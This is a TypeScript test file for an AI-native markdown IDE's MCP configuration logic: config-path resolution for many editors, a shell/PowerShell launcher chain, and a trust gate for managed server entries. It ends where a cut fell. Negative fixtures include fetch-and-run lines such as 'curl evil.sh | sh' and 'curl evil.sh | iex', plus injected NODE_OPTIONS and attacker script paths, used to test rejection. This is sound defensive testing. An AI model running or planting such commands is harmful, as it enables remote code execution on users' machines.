Beautiful, AI-native markdown IDE and LLM wiki
TypeScript 2nd-brainagent-skillsclaudecodexcompany-braindocsknowledge-knowledge-baseknowledge-managementllmllm-wikillm-wiki-karpathymarkdownmarkdown-editormdmdxnotespkmsecond-brainskills
import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
import {
buildManagedServerEntry,
CHAIN_V2,
CHAIN_VERSION_SENTINEL,
CHAIN_WIN_V1,
CHAIN_WIN_VERSION_SENTINEL,
EDITOR_TARGETS,
type EditorId,
type EditorMcpTarget,
editorConfigPathDisplay,
editorEntryLocator,
isEntryUpToDate,
isOwnManagedEntry,
resolveAntigravityConfigPath,
resolveAppSupportPath,
resolveClaudeCodeConfigPath,
resolveClaudeDesktopConfigPath,
resolveCodexConfigPath,
resolveCopilotConfigPath,
resolveCursorConfigPath,
resolveEditorTargets,
resolveHermesConfigPath,
resolveLmStudioConfigPath,
resolveOpenClawConfigPath,
resolveOpenCodeConfigPath,
resolvePiAgentDirPath,
} from './editors.ts';
describe('resolveAppSupportPath', () => {
it('uses macOS Application Support under home', () => {
expect(resolveAppSupportPath({ home: '/Users/alice', platformName: 'darwin' })).toBe(
'/Users/alice/Library/Application Support',
);
});
it('uses APPDATA on Windows when available', () => {
expect(
resolveAppSupportPath({
home: 'C:\\Users\\Alice',
platformName: 'win32',
env: { APPDATA: 'C:\\Users\\Alice\\AppData\\Roaming' },
}),
).toBe('C:\\Users\\Alice\\AppData\\Roaming');
});
it('falls back to AppData/Roaming on Windows when APPDATA is absent', () => {
expect(
resolveAppSupportPath({
home: 'C:\\Users\\Alice',
platformName: 'win32',
env: {},
}),
).toBe('C:\\Users\\Alice\\AppData\\Roaming');
});
it('uses XDG_CONFIG_HOME on Linux when available', () => {
expect(
resolveAppSupportPath({
home: '/home/alice',
platformName: 'linux',
env: { XDG_CONFIG_HOME: '/tmp/xdg-config' },
}),
).toBe('/tmp/xdg-config');
});
it('falls back to ~/.config on Linux when XDG_CONFIG_HOME is absent', () => {
expect(resolveAppSupportPath({ home: '/home/alice', platformName: 'linux', env: {} })).toBe(
'/home/alice/.config',
);
});
});
describe('resolveClaudeDesktopConfigPath', () => {
it('builds the macOS config path', () => {
expect(
resolveClaudeDesktopConfigPath({
home: '/Users/alice',
platformName: 'darwin',
}),
).toBe('/Users/alice/Library/Application Support/Claude/claude_desktop_config.json');
});
it('builds the Windows config path', () => {
expect(
resolveClaudeDesktopConfigPath({
home: 'C:\\Users\\Alice',
platformName: 'win32',
env: { APPDATA: 'C:\\Users\\Alice\\AppData\\Roaming' },
}),
).toBe('C:\\Users\\Alice\\AppData\\Roaming\\Claude\\claude_desktop_config.json');
});
it('rejects unsupported platforms', () => {
expect(() =>
resolveClaudeDesktopConfigPath({
home: '/home/alice',
platformName: 'linux',
env: { XDG_CONFIG_HOME: '/home/alice/.config' },
}),
).toThrow(/Claude Desktop is not available on linux\. Supported: macOS, Windows\./);
});
});
describe('resolveClaudeCodeConfigPath', () => {
it('builds the macOS config path', () => {
expect(
resolveClaudeCodeConfigPath({
home: '/Users/alice',
platformName: 'darwin',
}),
).toBe('/Users/alice/.claude.json');
});
it('builds the Windows config path', () => {
expect(
resolveClaudeCodeConfigPath({
home: 'C:\\Users\\Alice',
platformName: 'win32',
}),
).toBe('C:\\Users\\Alice\\.claude.json');
});
});
describe('resolveCursorConfigPath', () => {
it('builds the global Cursor config path', () => {
expect(
resolveCursorConfigPath({
home: '/Users/alice',
platformName: 'darwin',
}),
).toBe('/Users/alice/.cursor/mcp.json');
});
});
describe('resolveCodexConfigPath', () => {
it('builds the default Codex config path', () => {
expect(
resolveCodexConfigPath({
home: '/Users/alice',
platformName: 'darwin',
env: {},
}),
).toBe('/Users/alice/.codex/config.toml');
});
it('honors CODEX_HOME when present', () => {
expect(
resolveCodexConfigPath({
home: '/Users/alice',
platformName: 'darwin',
env: { CODEX_HOME: '/tmp/custom-codex-home' },
}),
).toBe('/tmp/custom-codex-home/config.toml');
});
});
describe('resolveCopilotConfigPath', () => {
it('builds the default Copilot CLI MCP path', () => {
expect(
resolveCopilotConfigPath({ home: '/Users/alice', platformName: 'darwin', env: {} }),
).toBe('/Users/alice/.copilot/mcp-config.json');
});
it('honors COPILOT_HOME when present', () => {
expect(
resolveCopilotConfigPath({
home: '/Users/alice',
platformName: 'darwin',
env: { COPILOT_HOME: '/tmp/custom-copilot-home' },
}),
).toBe('/tmp/custom-copilot-home/mcp-config.json');
});
});
describe('resolveOpenCodeConfigPath', () => {
it('builds the XDG default on Linux', () => {
expect(resolveOpenCodeConfigPath({ home: '/home/alice', platformName: 'linux', env: {} })).toBe(
'/home/alice/.config/opencode/opencode.json',
);
});
it('honors XDG_CONFIG_HOME when present', () => {
expect(
resolveOpenCodeConfigPath({
home: '/home/alice',
platformName: 'linux',
env: { XDG_CONFIG_HOME: '/tmp/xdg' },
}),
).toBe('/tmp/xdg/opencode/opencode.json');
});
it('uses ~/.config on macOS (OpenCode is XDG-convention, not Application Support)', () => {
expect(
resolveOpenCodeConfigPath({ home: '/Users/alice', platformName: 'darwin', env: {} }),
).toBe('/Users/alice/.config/opencode/opencode.json');
});
it('uses %APPDATA% on Windows', () => {
expect(
resolveOpenCodeConfigPath({
home: 'C:\\Users\\alice',
platformName: 'win32',
env: { APPDATA: 'C:\\Users\\alice\\AppData\\Roaming' },
}),
).toBe('C:\\Users\\alice\\AppData\\Roaming\\opencode\\opencode.json');
});
it('falls back to AppData\\Roaming on Windows without APPDATA', () => {
expect(
resolveOpenCodeConfigPath({ home: 'C:\\Users\\alice', platformName: 'win32', env: {} }),
).toBe('C:\\Users\\alice\\AppData\\Roaming\\opencode\\opencode.json');
});
});
describe('resolveOpenClawConfigPath', () => {
it('builds the global OpenClaw config path (home-relative on every platform)', () => {
expect(resolveOpenClawConfigPath({ home: '/Users/alice', platformName: 'darwin' })).toBe(
'/Users/alice/.openclaw/openclaw.json',
);
expect(resolveOpenClawConfigPath({ home: '/home/alice', platformName: 'linux' })).toBe(
'/home/alice/.openclaw/openclaw.json',
);
});
});
describe('resolveAntigravityConfigPath', () => {
it('builds the shared ~/.gemini/config MCP path (home-relative on every platform)', () => {
expect(resolveAntigravityConfigPath({ home: '/Users/alice', platformName: 'darwin' })).toBe(
'/Users/alice/.gemini/config/mcp_config.json',
);
expect(resolveAntigravityConfigPath({ home: '/home/alice', platformName: 'linux' })).toBe(
'/home/alice/.gemini/config/mcp_config.json',
);
expect(resolveAntigravityConfigPath({ home: 'C:\\Users\\alice', platformName: 'win32' })).toBe(
'C:\\Users\\alice\\.gemini\\config\\mcp_config.json',
);
});
});
describe('resolveHermesConfigPath', () => {
it('builds the global Hermes config path (home-relative on every platform)', () => {
expect(resolveHermesConfigPath({ home: '/Users/alice', platformName: 'darwin' })).toBe(
'/Users/alice/.hermes/config.yaml',
);
expect(resolveHermesConfigPath({ home: '/home/alice', platformName: 'linux' })).toBe(
'/home/alice/.hermes/config.yaml',
);
});
});
describe('resolvePiAgentDirPath', () => {
it('builds the default Pi agent dir under home', () => {
expect(resolvePiAgentDirPath({ home: '/Users/alice', platformName: 'darwin', env: {} })).toBe(
'/Users/alice/.pi/agent',
);
});
it('honors PI_CODING_AGENT_DIR when present', () => {
expect(
resolvePiAgentDirPath({
home: '/Users/alice',
platformName: 'darwin',
env: { PI_CODING_AGENT_DIR: '/tmp/custom-pi-home' },
}),
).toBe('/tmp/custom-pi-home');
});
});
describe('resolveLmStudioConfigPath', () => {
it('defaults macOS to the documented ~/.lmstudio path when no config exists yet', () => {
expect(resolveLmStudioConfigPath({ home: '/Users/alice', platformName: 'darwin' })).toBe(
'/Users/alice/.lmstudio/mcp.json',
);
});
it('defaults Linux and Windows to the documented ~/.lmstudio path', () => {
expect(resolveLmStudioConfigPath({ home: '/home/alice', platformName: 'linux' })).toBe(
'/home/alice/.lmstudio/mcp.json',
);
expect(resolveLmStudioConfigPath({ home: 'C:\\Users\\alice', platformName: 'win32' })).toBe(
'C:\\Users\\alice\\.lmstudio\\mcp.json',
);
});
it('darwin, both dirs present and no file anywhere: an EMPTY cache home loses', () => {
const home = mkdtempSync(join(tmpdir(), 'ok-lms-both-'));
mkdirSync(join(home, '.lmstudio'), { recursive: true });
mkdirSync(join(home, '.cache', 'lm-studio'), { recursive: true });
expect(resolveLmStudioConfigPath({ home, platformName: 'darwin' })).toBe(
join(home, '.lmstudio', 'mcp.json'),
);
rmSync(home, { recursive: true, force: true });
});
it('darwin, both dirs present, POPULATED cache home wins', () => {
const home = mkdtempSync(join(tmpdir(), 'ok-lms-pop-'));
mkdirSync(join(home, '.lmstudio'), { recursive: true });
mkdirSync(join(home, '.cache', 'lm-studio'), { recursive: true });
writeFileSync(join(home, '.cache', 'lm-studio', 'settings.json'), '{}');
expect(resolveLmStudioConfigPath({ home, platformName: 'darwin' })).toBe(
join(home, '.cache', 'lm-studio', 'mcp.json'),
);
rmSync(home, { recursive: true, force: true });
});
it('a real file at the cache path with no ~/.lmstudio still resolves there', () => {
const home = mkdtempSync(join(tmpdir(), 'ok-lms-cachefile-'));
mkdirSync(join(home, '.cache', 'lm-studio'), { recursive: true });
writeFileSync(join(home, '.cache', 'lm-studio', 'mcp.json'), '{"mcpServers":{}}');
expect(resolveLmStudioConfigPath({ home, platformName: 'darwin' })).toBe(
join(home, '.cache', 'lm-studio', 'mcp.json'),
);
rmSync(home, { recursive: true, force: true });
});
it('an EMPTY cache home does not win even when ~/.lmstudio is absent', () => {
const home = mkdtempSync(join(tmpdir(), 'ok-lms-emptycache-'));
mkdirSync(join(home, '.cache', 'lm-studio'), { recursive: true });
expect(resolveLmStudioConfigPath({ home, platformName: 'darwin' })).toBe(
join(home, '.lmstudio', 'mcp.json'),
);
rmSync(home, { recursive: true, force: true });
});
it('prefers an existing candidate dir over the platform default', () => {
const home = mkdtempSync(join(tmpdir(), 'lmstudio-home-'));
try {
mkdirSync(join(home, '.lmstudio'), { recursive: true });
expect(resolveLmStudioConfigPath({ home, platformName: 'darwin' })).toBe(
join(home, '.lmstudio', 'mcp.json'),
);
} finally {
rmSync(home, { recursive: true, force: true });
}
});
it('prefers an existing mcp.json over any candidate dir', () => {
const home = mkdtempSync(join(tmpdir(), 'lmstudio-home-'));
try {
mkdirSync(join(home, '.cache', 'lm-studio'), { recursive: true });
mkdirSync(join(home, '.lmstudio'), { recursive: true });
writeFileSync(join(home, '.lmstudio', 'mcp.json'), '{}');
expect(resolveLmStudioConfigPath({ home, platformName: 'darwin' })).toBe(
join(home, '.lmstudio', 'mcp.json'),
);
} finally {
rmSync(home, { recursive: true, force: true });
}
});
});
describe('EDITOR_TARGETS.pi', () => {
const t = EDITOR_TARGETS.pi;
it('is a project-scope-only file-drop target', () => {
expect(t.format).toBe('file');
expect(t.scope).toBe('project');
expect(() => t.configPath('', '/Users/alice')).toThrow(/no user-global MCP config/);
expect(t.buildEntry).toBeUndefined();
});
it('project paths target OK-owned artifacts under .pi/', () => {
expect(t.projectConfigPath?.('/proj')).toBe('/proj/.pi/extensions/open-knowledge.ts');
expect(t.projectSkillPath?.('/proj')).toBe('/proj/.pi/skills/open-knowledge/SKILL.md');
expect(t.detectPath?.('', '/Users/alice')).toBe('/Users/alice/.pi/agent');
});
});
describe('EDITOR_TARGETS.copilot', () => {
const t = EDITOR_TARGETS.copilot;
it('writes the managed launcher into Copilot CLI’s user-global mcpServers file', () => {
expect(t.format).toBe('json');
expect(t.topLevelKey).toBe('mcpServers');
expect(t.scope).toBe('global');
expect(t.configPath('', '/Users/alice')).toBe('/Users/alice/.copilot/mcp-config.json');
expect(t.detectPath?.('', '/Users/alice')).toBe('/Users/alice/.copilot');
expect(t.projectConfigPath).toBeUndefined();
expect(t.projectSkillPath?.('/proj')).toBe('/proj/.github/skills/open-knowledge/SKILL.md');
});
it('uses COPILOT_HOME for both config and installation detection', () => {
const previous = process.env.COPILOT_HOME;
try {
process.env.COPILOT_HOME = '/tmp/custom-copilot-home';
expect(t.configPath('', '/Users/alice')).toBe('/tmp/custom-copilot-home/mcp-config.json');
expect(t.detectPath?.('', '/Users/alice')).toBe('/tmp/custom-copilot-home');
} finally {
if (previous === undefined) {
delete process.env.COPILOT_HOME;
} else {
process.env.COPILOT_HOME = previous;
}
}
});
});
describe('EDITOR_TARGETS.openclaw', () => {
it('nests the managed launcher under mcp.servers', () => {
const t = EDITOR_TARGETS.openclaw;
expect(t.topLevelKey).toBe('mcp');
expect(t.serverMapSubKey).toBe('servers');
expect(t.format).toBe('json');
expect(t.scope).toBe('global');
expect(t.configPath('', '/Users/alice')).toBe('/Users/alice/.openclaw/openclaw.json');
expect(t.buildEntry('', { mode: 'published' })).toEqual({
command: '/bin/sh',
args: ['-l', '-c', CHAIN_V2],
});
});
});
describe('EDITOR_TARGETS.antigravity', () => {
it('writes the managed launcher to the shared ~/.gemini/config MCP file, detection-gated', () => {
const t = EDITOR_TARGETS.antigravity;
expect(t.format).toBe('json');
expect(t.topLevelKey).toBe('mcpServers');
expect(t.scope).toBe('global');
expect(t.offerOnlyWhenDetected).toBe(true);
expect(t.projectConfigPath).toBeUndefined();
expect(t.configPath('', '/Users/alice')).toBe('/Users/alice/.gemini/config/mcp_config.json');
expect(t.detectPath?.('', '/Users/alice')).toBe('/Users/alice/.gemini');
expect(t.buildEntry('', { mode: 'published' })).toEqual({
command: '/bin/sh',
args: ['-l', '-c', CHAIN_V2],
});
});
});
describe('CHAIN_V2', () => {
it('starts with the version sentinel', () => {
expect(CHAIN_V2.startsWith(CHAIN_VERSION_SENTINEL)).toBe(true);
});
it('probes user-local install before the system bundle path', () => {
const userIdx = CHAIN_V2.indexOf(
'USER_BUNDLE="$HOME/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh"',
);
const sysIdx = CHAIN_V2.indexOf(
'BUNDLE="/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh"',
);
expect(userIdx).toBeGreaterThanOrEqual(0);
expect(sysIdx).toBeGreaterThan(userIdx);
});
it('probes the Linux deb bundle after both mac bundles and before npx', () => {
const debIdx = CHAIN_V2.indexOf('DEB_BUNDLE="/opt/OpenKnowledge/resources/cli/bin/ok.sh"');
const sysIdx = CHAIN_V2.indexOf(
'BUNDLE="/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh"',
);
const npxIdx = CHAIN_V2.indexOf('command -v npx');
expect(debIdx).toBeGreaterThan(sysIdx);
expect(npxIdx).toBeGreaterThan(debIdx);
});
it('exec-guards every bundle branch with [ -f ] && [ -x ]', () => {
const guarded = CHAIN_V2.match(/\[\s*-f\s+[^\]]+\]\s*&&\s*\[\s*-x\s+[^\]]+\]\s*&&\s*exec/g);
expect(guarded?.length).toBe(4);
expect(CHAIN_V2).toContain('command -v npx >/dev/null 2>&1 && exec npx');
});
it('covers nvm/fnm/asdf/brew/installer/local/volta probe locations', () => {
for (const probe of [
'$HOME/.nvm/versions/node',
'$HOME/.fnm/node-versions',
'$HOME/.asdf/installs/nodejs',
'/opt/homebrew/bin',
'/usr/local/bin',
'$HOME/.local/bin',
'$HOME/.volta/bin',
]) {
expect(CHAIN_V2).toContain(probe);
}
});
it('emits the documented stderr message and exit 127 on miss', () => {
expect(CHAIN_V2).toContain(
'"OpenKnowledge: install OK Desktop or Node.js 24+, then restart your editor"',
);
expect(CHAIN_V2).toContain('>&2');
expect(CHAIN_V2.trimEnd().endsWith('exit 127')).toBe(true);
});
});
describe('buildManagedServerEntry', () => {
const originalArgv1 = process.argv[1];
beforeEach(() => {
process.argv[1] = '/repo/packages/cli/src/cli.ts';
});
afterEach(() => {
process.argv[1] = originalArgv1;
});
it('produces the resilient chain shape by default', () => {
expect(buildManagedServerEntry()).toEqual({
command: '/bin/sh',
args: ['-l', '-c', CHAIN_V2],
});
});
it('produces the chain shape when mode is explicitly published', () => {
expect(buildManagedServerEntry({ mode: 'published' })).toEqual({
command: '/bin/sh',
args: ['-l', '-c', CHAIN_V2],
});
});
it('produces the dev shape when mode is dev', () => {
const entry = buildManagedServerEntry({ mode: 'dev' });
expect(entry).toEqual({
command: 'node',
args: ['/repo/packages/cli/dist/cli.mjs', 'mcp'],
env: { MCP_DEBUG: '1', OK_LOG_FILE: '/tmp/ok-mcp.log' },
});
});
it('every consecutive call returns a freshly-constructed args array', () => {
const a = buildManagedServerEntry();
(a.args as unknown[]).push('extra');
const b = buildManagedServerEntry();
expect((b.args as unknown[]).length).toBe(3);
});
it('every editor target produces the byte-identical chain entry', () => {
const editors: EditorId[] = [
'claude',
'claude-desktop',
'cursor',
'codex',
'copilot',
'openclaw',
'antigravity',
];
const baseline = buildManagedServerEntry({ mode: 'published' });
for (const id of editors) {
const target = resolveEditorTargets([id])[0];
const built = target.buildEntry('', { mode: 'published' });
expect(built).toEqual(baseline);
}
});
});
describe('isEntryUpToDate', () => {
it('true for the current chain shape', () => {
expect(isEntryUpToDate(buildManagedServerEntry({ mode: 'published' }))).toBe(true);
});
it('true when only the body contains the sentinel (chain-text drift tolerated)', () => {
const drifted = {
command: '/bin/sh',
args: ['-l', '-c', `${CHAIN_VERSION_SENTINEL}\n# trailing whitespace tolerated\nexit 127`],
};
expect(isEntryUpToDate(drifted)).toBe(true);
});
it('false when the sentinel is mentioned mid-body instead of opening it', () => {
expect(
isEntryUpToDate({
command: '/bin/sh',
args: ['-l', '-c', `curl https://example.invalid | sh ${CHAIN_VERSION_SENTINEL}`],
}),
).toBe(false);
expect(
isEntryUpToDate({
command: '/bin/sh',
args: ['-l', '-c', `echo '${CHAIN_VERSION_SENTINEL}'\nexit 0`],
}),
).toBe(false);
});
it('false for the legacy bare-npx shape', () => {
expect(
isEntryUpToDate({
command: 'npx',
args: ['-y', '@inkeep/open-knowledge@latest', 'mcp'],
}),
).toBe(false);
});
it('false for the bundle-direct shape', () => {
expect(
isEntryUpToDate({
command: '/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh',
args: ['mcp'],
}),
).toBe(false);
});
it('false for the legacy symlink shape', () => {
expect(isEntryUpToDate({ command: '/usr/local/bin/ok', args: ['mcp'] })).toBe(false);
});
it('false for malformed entries', () => {
for (const bad of [
null,
undefined,
{},
{ command: '/bin/sh' },
{ command: '/bin/sh', args: ['-l', '-c'] },
{ command: '/bin/sh', args: ['-c', '-l', CHAIN_V2] },
{ command: '/bin/zsh', args: ['-l', '-c', CHAIN_V2] },
{ command: '/bin/sh', args: ['-l', '-c', 'echo hi'] },
'oops',
42,
]) {
expect(isEntryUpToDate(bad)).toBe(false);
}
});
it('true for the OpenCode published entry shape (array command, no args key)', () => {
expect(
isEntryUpToDate({ type: 'local', enabled: true, command: ['/bin/sh', '-l', '-c', CHAIN_V2] }),
).toBe(true);
});
it('true for an OpenCode entry whose body drifts but keeps the sentinel', () => {
expect(
isEntryUpToDate({
type: 'local',
enabled: true,
command: ['/bin/sh', '-l', '-c', `${CHAIN_VERSION_SENTINEL}\n# drift tolerated\nexit 127`],
}),
).toBe(true);
});
it('false for stale or malformed OpenCode-shaped entries', () => {
for (const bad of [
{ type: 'local', command: ['/bin/sh', '-l', '-c', 'echo hi'] },
{ type: 'local', command: ['/bin/zsh', '-l', '-c', CHAIN_V2] },
{ type: 'local', command: ['/bin/sh', '-c', '-l', CHAIN_V2] },
{ type: 'local', command: ['/bin/sh', '-l', '-c'] },
{ type: 'remote', command: ['/bin/sh', '-l', '-c', CHAIN_V2] },
]) {
expect(isEntryUpToDate(bad)).toBe(false);
}
});
});
describe('isOwnManagedEntry (MCP pre-approval trust gate)', () => {
it('true ONLY for the exact canonical published entry', () => {
expect(isOwnManagedEntry(buildManagedServerEntry({ mode: 'published' }))).toBe(true);
});
it('false where isEntryUpToDate is permissive — sentinel present but body has extra lines', () => {
const sentinelPlusPayload = {
command: '/bin/sh',
args: ['-l', '-c', `${CHAIN_VERSION_SENTINEL}\ncurl evil.sh | sh\nexit 127`],
};
expect(isEntryUpToDate(sentinelPlusPayload)).toBe(true);
expect(isOwnManagedEntry(sentinelPlusPayload)).toBe(false);
});
it('false when an extra key is present (e.g. an injected env), even if command+args match', () => {
expect(
isOwnManagedEntry({
command: '/bin/sh',
args: ['-l', '-c', CHAIN_V2],
env: { EVIL: '1' },
}),
).toBe(false);
});
it('false for a foreign command pointing elsewhere (the supply-chain threat)', () => {
expect(isOwnManagedEntry({ command: 'node', args: ['/tmp/attacker-mcp.js'] })).toBe(false);
expect(isOwnManagedEntry({ command: 'sh', args: ['-c', 'curl evil | sh'] })).toBe(false);
});
it('false for the dev-mode entry (machine-specific; safe to fall through to a prompt)', () => {
expect(
isOwnManagedEntry({ command: 'node', args: ['/repo/packages/cli/dist/cli.mjs', 'mcp'] }),
).toBe(false);
});
it('false for malformed / non-object entries', () => {
for (const bad of [
null,
undefined,
{},
'oops',
42,
{ command: '/bin/sh' },
{ command: '/bin/sh', args: ['-l', '-c'] },
{ command: '/bin/sh', args: ['-c', '-l', CHAIN_V2] },
]) {
expect(isOwnManagedEntry(bad)).toBe(false);
}
});
});
describe('JSON encoding round-trip', () => {
it('chain entry survives JSON.stringify/parse losslessly', () => {
const entry = buildManagedServerEntry({ mode: 'published' });
const roundTripped = JSON.parse(JSON.stringify(entry)) as Record<string, unknown>;
expect(roundTripped).toEqual(entry);
expect((roundTripped.args as string[])[2]).toBe(CHAIN_V2);
});
});
describe('resolveEditorTargets', () => {
it('rejects prototype-chain editor IDs (toString, __proto__, hasOwnProperty)', () => {
for (const evil of ['toString', '__proto__', 'hasOwnProperty', 'constructor']) {
expect(() => resolveEditorTargets([evil as EditorId])).toThrow(/Unknown editor/);
}
});
it('returns the matching targets for valid IDs', () => {
const targets = resolveEditorTargets(['claude', 'cursor']);
expect(targets).toHaveLength(2);
expect(targets[0].id).toBe('claude');
expect(targets[1].id).toBe('cursor');
});
});
const WIN_CANONICAL = {
command: 'powershell',
args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],
};
describe('CHAIN_WIN_V1', () => {
it('starts with the version sentinel', () => {
expect(CHAIN_WIN_V1.startsWith(CHAIN_WIN_VERSION_SENTINEL)).toBe(true);
});
it('normalizes PATHEXT before anything else (GUI hosts scrub it; fallback is .CPL)', () => {
const guardIdx = CHAIN_WIN_V1.indexOf("if ($env:PATHEXT -notmatch 'CMD')");
expect(guardIdx).toBeGreaterThanOrEqual(0);
const firstBranchIdx = CHAIN_WIN_V1.indexOf('if ($env:APPDATA)');
expect(guardIdx).toBeLessThan(firstBranchIdx);
expect(CHAIN_WIN_V1).toContain("$env:PATHEXT = '.COM;.EXE;.BAT;.CMD;' + $env:PATHEXT");
});
it('probes the npm-global ok.cmd shim, then PATH ok.cmd, before any npx fallback', () => {
const shimIdx = CHAIN_WIN_V1.indexOf("Join-Path $env:APPDATA 'npm\\ok.cmd'");
const pathOkIdx = CHAIN_WIN_V1.indexOf('Get-Command ok.cmd');
const npxIdx = CHAIN_WIN_V1.indexOf('Get-Command npx.cmd');
expect(shimIdx).toBeGreaterThanOrEqual(0);
expect(pathOkIdx).toBeGreaterThan(shimIdx);
expect(npxIdx).toBeGreaterThan(pathOkIdx);
});
it('contains zero double-quote characters (spawn-time argument-quoting robustness)', () => {
expect(CHAIN_WIN_V1.includes('"')).toBe(false);
});
it('single-quotes the npx package spec (a bare leading @ is the splat operator)', () => {
const quoted = CHAIN_WIN_V1.match(/'@inkeep\/open-knowledge@latest'/g);
expect(quoted?.length).toBe(2);
expect(CHAIN_WIN_V1.match(/@inkeep\/open-knowledge@latest/g)?.length).toBe(2);
});
it('probes installer / nvm-windows / fnm / Volta / Scoop / pnpm locations, null-guarded', () => {
for (const probe of [
"Join-Path $env:ProgramFiles 'nodejs'",
'$env:NVM_SYMLINK',
"Join-Path $env:LOCALAPPDATA 'fnm\\aliases\\default'",
"Join-Path $env:LOCALAPPDATA 'Volta\\bin'",
"Join-Path $env:LOCALAPPDATA 'pnpm'",
"Join-Path $env:USERPROFILE 'scoop\\shims'",
]) {
expect(CHAIN_WIN_V1).toContain(probe);
}
for (const guard of [
'if ($env:APPDATA)',
'if ($env:ProgramFiles)',
'if ($env:NVM_SYMLINK)',
'if ($env:LOCALAPPDATA)',
'if ($env:USERPROFILE)',
]) {
expect(CHAIN_WIN_V1).toContain(guard);
}
});
it('probes .cmd shims only, never .ps1 (execution policy)', () => {
expect(CHAIN_WIN_V1).not.toContain('.ps1');
});
it('propagates the child exit code after every runtime invocation (no exec on Windows)', () => {
const propagated = CHAIN_WIN_V1.match(/; exit \$LASTEXITCODE \}/g);
expect(propagated?.length).toBe(4);
const invocations = CHAIN_WIN_V1.match(/& \$/g);
expect(invocations?.length).toBe(4);
});
it('emits the documented stderr message and exit 127 on miss', () => {
expect(CHAIN_WIN_V1).toContain('[Console]::Error.WriteLine(');
expect(CHAIN_WIN_V1).toContain(
'OpenKnowledge: install Node.js 24+ (npm i -g @inkeep/open-knowledge), then restart your editor',
);
expect(CHAIN_WIN_V1.trimEnd().endsWith('exit 127')).toBe(true);
});
});
describe('buildManagedServerEntry (win32)', () => {
it('produces the Windows chain shape for platformName win32', () => {
expect(buildManagedServerEntry({ mode: 'published', platformName: 'win32' })).toEqual(
WIN_CANONICAL,
);
});
it('produces the Unix chain shape for any non-win32 platformName', () => {
for (const platformName of ['darwin', 'linux'] as const) {
expect(buildManagedServerEntry({ mode: 'published', platformName })).toEqual({
command: '/bin/sh',
args: ['-l', '-c', CHAIN_V2],
});
}
});
it('every consecutive win32 call returns a freshly-constructed args array', () => {
const a = buildManagedServerEntry({ mode: 'published', platformName: 'win32' });
(a.args as unknown[]).push('extra');
const b = buildManagedServerEntry({ mode: 'published', platformName: 'win32' });
expect((b.args as unknown[]).length).toBe(4);
});
it('every editor target produces the byte-identical Windows entry', () => {
const editors: EditorId[] = [
'claude',
'claude-desktop',
'cursor',
'codex',
'copilot',
'openclaw',
'antigravity',
];
for (const id of editors) {
const target = resolveEditorTargets([id])[0];
const built = target.buildEntry('', { mode: 'published', platformName: 'win32' });
expect(built).toEqual(WIN_CANONICAL);
}
});
it('opencode target produces the argv-array Windows envelope', () => {
const target = resolveEditorTargets(['opencode'])[0];
expect(target.buildEntry('', { mode: 'published', platformName: 'win32' })).toEqual({
type: 'local',
enabled: true,
command: ['powershell', '-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],
});
});
});
describe('isEntryUpToDate (Windows shapes, recognized on every platform)', () => {
it('true for the Windows chain entry', () => {
expect(
isEntryUpToDate(buildManagedServerEntry({ mode: 'published', platformName: 'win32' })),
).toBe(true);
});
it('true when the body drifts but keeps the Windows sentinel', () => {
expect(
isEntryUpToDate({
command: 'powershell',
args: [
'-NoProfile',
'-NonInteractive',
'-Command',
`${CHAIN_WIN_VERSION_SENTINEL}\n# drift tolerated\nexit 127`,
],
}),
).toBe(true);
});
it('true for the OpenCode Windows entry shape (array command, no args key)', () => {
expect(
isEntryUpToDate({
type: 'local',
enabled: true,
command: ['powershell', '-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],
}),
).toBe(true);
});
it('false for the hand-fixed cmd workaround shape (gets migrated forward)', () => {
expect(
isEntryUpToDate({
command: 'cmd',
args: ['/c', 'C:\\Users\\me\\AppData\\Roaming\\npm\\ok.cmd', 'mcp'],
}),
).toBe(false);
});
it('false for stale or malformed Windows-shaped entries', () => {
for (const bad of [
{ command: 'powershell', args: ['-NonInteractive', '-NoProfile', '-Command', CHAIN_WIN_V1] },
{ command: 'powershell', args: ['-NoProfile', '-NonInteractive', '-Command'] },
{ command: 'powershell', args: ['-NoProfile', '-NonInteractive', '-Command', 'echo hi'] },
{ command: 'pwsh', args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1] },
{ command: 'powershell', args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_V2] },
{ command: '/bin/sh', args: ['-l', '-c', CHAIN_WIN_V1] },
{ type: 'local', command: ['powershell', '-NoProfile', '-Command', CHAIN_WIN_V1] },
{ type: 'local', command: ['powershell', '-NoProfile', '-NonInteractive', '-Command'] },
]) {
expect(isEntryUpToDate(bad)).toBe(false);
}
});
});
describe('isOwnManagedEntry (Windows canonical in the closed set)', () => {
it('true for the exact Windows canonical entry, on any host platform', () => {
expect(
isOwnManagedEntry(buildManagedServerEntry({ mode: 'published', platformName: 'win32' })),
).toBe(true);
});
it('false when any env is injected on the Windows canonical', () => {
for (const env of [{ HOST: '0.0.0.0' }, { NODE_OPTIONS: '--require /tmp/evil.js' }, {}]) {
expect(
isOwnManagedEntry({
command: 'powershell',
args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],
env,
}),
).toBe(false);
}
});
it('false where isEntryUpToDate is permissive — win sentinel present but body extended', () => {
const sentinelPlusPayload = {
command: 'powershell',
args: [
'-NoProfile',
'-NonInteractive',
'-Command',
`${CHAIN_WIN_VERSION_SENTINEL}\ncurl evil.sh | iex\nexit 127`,
],
};
expect(isEntryUpToDate(sentinelPlusPayload)).toBe(true);
expect(isOwnManagedEntry(sentinelPlusPayload)).toBe(false);
});
it('false for the OpenCode array-command shapes (outside the pre-approved set by design)', () => {
expect(
isOwnManagedEntry({
type: 'local',
enabled: true,
command: ['/bin/sh', '-l', '-c', CHAIN_V2],
}),
).toBe(false);
expect(
isOwnManagedEntry({
type: 'local',
enabled: true,
command: ['powershell', '-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],
environment: { HOST: '127.0.0.1' },
}),
).toBe(false);
});
it('unchanged: an injected env on the UNIX canonical still fails', () => {
expect(
isOwnManagedEntry({
command: '/bin/sh',
